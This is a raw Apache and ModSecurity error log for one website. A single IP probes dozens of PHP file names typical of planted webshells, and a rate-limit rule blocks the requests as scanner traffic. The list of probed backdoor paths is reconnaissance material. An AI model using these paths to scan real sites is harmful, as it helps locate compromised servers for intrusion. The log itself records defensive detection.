[Sat Apr 11 08:02:06.800945 2026] [:error] [pid 33173:tid 33249] [client 158.158.33.175:20355] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "admPfq8109xRDP2izWgl1QAAAIQ"]
[Sat Apr 11 08:02:07.393283 2026] [:error] [pid 33173:tid 33256] [client 158.158.33.175:58365] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "admPf68109xRDP2izWgl3AAAAIs"]
[Sat Apr 11 08:02:08.240402 2026] [:error] [pid 33173:tid 33246] [client 158.158.33.175:33586] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "admPgK8109xRDP2izWgl4QAAAIE"]
[Sat Apr 11 08:02:09.042001 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:33418] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "admPgYkdEsz5NeAq8w2hrAAAAQc"]
[Sat Apr 11 08:02:09.825272 2026] [:error] [pid 33173:tid 33245] [client 158.158.33.175:33536] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "admPga8109xRDP2izWgl5QAAAIA"]
[Sat Apr 11 08:02:10.742219 2026] [:error] [pid 33171:tid 33187] [client 158.158.33.175:33426] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "admPgroqTMlo30hcVw-XwAAAAAE"]
[Sat Apr 11 08:02:11.468494 2026] [:error] [pid 15244:tid 15252] [client 158.158.33.175:20277] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "admPg4kdEsz5NeAq8w2hvAAAAQY"]
[Sat Apr 11 08:02:12.176594 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:10399] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "admPhIkdEsz5NeAq8w2hwQAAARI"]
[Sat Apr 11 08:02:12.875175 2026] [:error] [pid 15244:tid 15269] [client 158.158.33.175:24300] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "admPhIkdEsz5NeAq8w2hxwAAARc"]
[Sat Apr 11 08:02:13.617137 2026] [:error] [pid 33288:tid 33297] [client 158.158.33.175:33416] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "admPhWJmwJFFPEgRHfGklQAAAMc"]
[Sat Apr 11 08:02:14.382076 2026] [:error] [pid 33171:tid 33192] [client 158.158.33.175:29647] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "admPhroqTMlo30hcVw-XyAAAAAY"]
[Sat Apr 11 08:02:15.157755 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat Apr 11 08:02:15.404300 2026] [:error] [pid 33173:tid 33256] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/abc.php
[Sat Apr 11 08:02:15.644646 2026] [:error] [pid 33173:tid 33250] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/motu.php
[Sat Apr 11 08:02:15.896816 2026] [:error] [pid 33173:tid 33257] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Apr 11 08:02:16.154417 2026] [:error] [pid 33173:tid 33251] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/wp9.php
[Sat Apr 11 08:02:16.797600 2026] [:error] [pid 33173:tid 33246] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/inege.php
[Sat Apr 11 08:02:17.156791 2026] [:error] [pid 33173:tid 33248] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/nw.php
[Sat Apr 11 08:02:17.442561 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Sat Apr 11 08:02:17.843471 2026] [:error] [pid 33173:tid 33249] [client 158.158.33.175:20360] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-p2r3q9c8k4.php
[Sat Apr 11 08:02:18.346598 2026] [:error] [pid 33173:tid 33263] [client 158.158.33.175:20360] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "admPiq8109xRDP2izWgmAAAAAJI"]
[Sat Apr 11 08:02:19.368648 2026] [:error] [pid 33288:tid 33297] [client 158.158.33.175:20228] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "admPi2JmwJFFPEgRHfGkngAAAMc"]
[Sat Apr 11 08:02:20.002973 2026] [:error] [pid 33288:tid 33312] [client 158.158.33.175:35499] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "admPjGJmwJFFPEgRHfGkoAAAANY"]
[Sat Apr 11 08:02:20.708564 2026] [:error] [pid 15244:tid 15255] [client 158.158.33.175:35491] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "admPjIkdEsz5NeAq8w2h7AAAAQk"]
[Sat Apr 11 08:02:21.255824 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:8853] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "admPjboqTMlo30hcVw-X2QAAABU"]
[Sat Apr 11 08:02:22.030934 2026] [:error] [pid 33171:tid 33210] [client 158.158.33.175:29695] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "admPjroqTMlo30hcVw-X3QAAABg"]
[Sat Apr 11 08:02:22.594059 2026] [:error] [pid 33172:tid 33239] [client 158.158.33.175:24030] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "admPjjn2G0IJw5EZY9l6EAAAAFU"]
[Sat Apr 11 08:02:23.406775 2026] [:error] [pid 33172:tid 33235] [client 158.158.33.175:14034] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "admPjzn2G0IJw5EZY9l6EgAAAFE"]
[Sat Apr 11 08:02:24.087699 2026] [:error] [pid 33171:tid 33198] [client 158.158.33.175:33448] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "admPkLoqTMlo30hcVw-X4AAAAAw"]
[Sat Apr 11 08:02:24.946624 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:24036] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "admPkIkdEsz5NeAq8w2h-gAAAQ0"]
[Sat Apr 11 08:02:25.622503 2026] [:error] [pid 33171:tid 33194] [client 158.158.33.175:16468] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "admPkboqTMlo30hcVw-X5AAAAAg"]
[Sat Apr 11 08:02:26.179033 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:33543] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "admPkmJmwJFFPEgRHfGktAAAAMA"]
[Sat Apr 11 08:02:26.722610 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:33467] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "admPkokdEsz5NeAq8w2iBwAAAQo"]
[Sat Apr 11 08:02:27.410743 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:35507] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "admPk4kdEsz5NeAq8w2iCQAAAQ0"]
[Sat Apr 11 08:02:28.138589 2026] [:error] [pid 33288:tid 33312] [client 158.158.33.175:29826] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "admPlGJmwJFFPEgRHfGkvQAAANY"]
[Sat Apr 11 08:02:28.749075 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:16503] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "admPlIkdEsz5NeAq8w2iEgAAARY"]
[Sat Apr 11 08:02:29.298874 2026] [:error] [pid 15244:tid 15257] [client 158.158.33.175:20368] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "admPlYkdEsz5NeAq8w2iEwAAAQs"]
[Sat Apr 11 08:02:29.840746 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:24028] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "admPlYkdEsz5NeAq8w2iGQAAARM"]
[Sat Apr 11 08:02:30.420990 2026] [:error] [pid 33173:tid 33245] [client 158.158.33.175:20357] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "admPlq8109xRDP2izWgmHAAAAIA"]
[Sat Apr 11 08:02:30.965604 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:16659] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "admPlokdEsz5NeAq8w2iHgAAARI"]
[Sat Apr 11 08:02:31.506944 2026] [:error] [pid 33171:tid 33210] [client 158.158.33.175:35520] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "admPl7oqTMlo30hcVw-X7QAAABg"]
[Sat Apr 11 08:02:32.128666 2026] [:error] [pid 33172:tid 33225] [client 158.158.33.175:29681] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "admPmDn2G0IJw5EZY9l6FgAAAEc"]
[Sat Apr 11 08:02:32.798939 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:35512] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "admPmIkdEsz5NeAq8w2iKQAAAQc"]
[Sat Apr 11 08:02:33.355816 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:24007] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amp.php"] [unique_id "admPma8109xRDP2izWgmLAAAAIc"]
[Sat Apr 11 08:02:33.940041 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:29887] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "admPmWJmwJFFPEgRHfGk3gAAAMA"]
[Sat Apr 11 08:02:34.445247 2026] [:error] [pid 33173:tid 33258] [client 158.158.33.175:33471] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "admPmq8109xRDP2izWgmMgAAAI0"]
[Sat Apr 11 08:02:35.067791 2026] [:error] [pid 15244:tid 15270] [client 158.158.33.175:24312] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "admPm4kdEsz5NeAq8w2iMwAAARg"]
[Sat Apr 11 08:02:35.799496 2026] [:error] [pid 33172:tid 33236] [client 158.158.33.175:24286] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "admPmzn2G0IJw5EZY9l6GAAAAFI"]
[Sat Apr 11 08:02:36.601879 2026] [:error] [pid 33173:tid 33264] [client 158.158.33.175:35484] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "admPnK8109xRDP2izWgmNQAAAJM"]
[Sat Apr 11 08:02:37.120889 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:33565] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "admPnboqTMlo30hcVw-X-gAAABU"]
[Sat Apr 11 08:02:37.848039 2026] [:error] [pid 33172:tid 33238] [client 158.158.33.175:58349] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "admPnTn2G0IJw5EZY9l6HgAAAFQ"]
[Sat Apr 11 08:02:38.380919 2026] [:error] [pid 33172:tid 33229] [client 158.158.33.175:35544] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/init.php"] [unique_id "admPnjn2G0IJw5EZY9l6IAAAAEs"]
[Sat Apr 11 08:02:39.057914 2026] [:error] [pid 33171:tid 33203] [client 158.158.33.175:20375] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "admPn7oqTMlo30hcVw-YAAAAABE"]
[Sat Apr 11 08:02:39.850848 2026] [:error] [pid 33171:tid 33209] [client 158.158.33.175:35571] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "admPn7oqTMlo30hcVw-YAwAAABc"]
[Sat Apr 11 08:02:40.650797 2026] [:error] [pid 33288:tid 33307] [client 158.158.33.175:20254] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "admPoGJmwJFFPEgRHfGk-gAAANE"]
[Sat Apr 11 08:02:41.233761 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:35514] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "admPoYkdEsz5NeAq8w2iRwAAAQc"]
[Sat Apr 11 08:02:41.910695 2026] [:error] [pid 33173:tid 33247] [client 158.158.33.175:10306] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "admPoa8109xRDP2izWgmQgAAAII"]
[Sat Apr 11 08:02:42.484862 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:16672] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "admPomJmwJFFPEgRHfGlBgAAAMA"]
[Sat Apr 11 08:02:42.981877 2026] [:error] [pid 33171:tid 33202] [client 158.158.33.175:24025] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "admPoroqTMlo30hcVw-YEAAAABA"]
[Sat Apr 11 08:02:43.548855 2026] [:error] [pid 33172:tid 33219] [client 158.158.33.175:35485] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "admPozn2G0IJw5EZY9l6LwAAAEE"]
[Sat Apr 11 08:02:44.118550 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:10308] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "admPpIkdEsz5NeAq8w2iSwAAARI"]
[Sat Apr 11 08:02:44.822981 2026] [:error] [pid 33173:tid 33263] [client 158.158.33.175:29870] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "admPpK8109xRDP2izWgmTwAAAJI"]
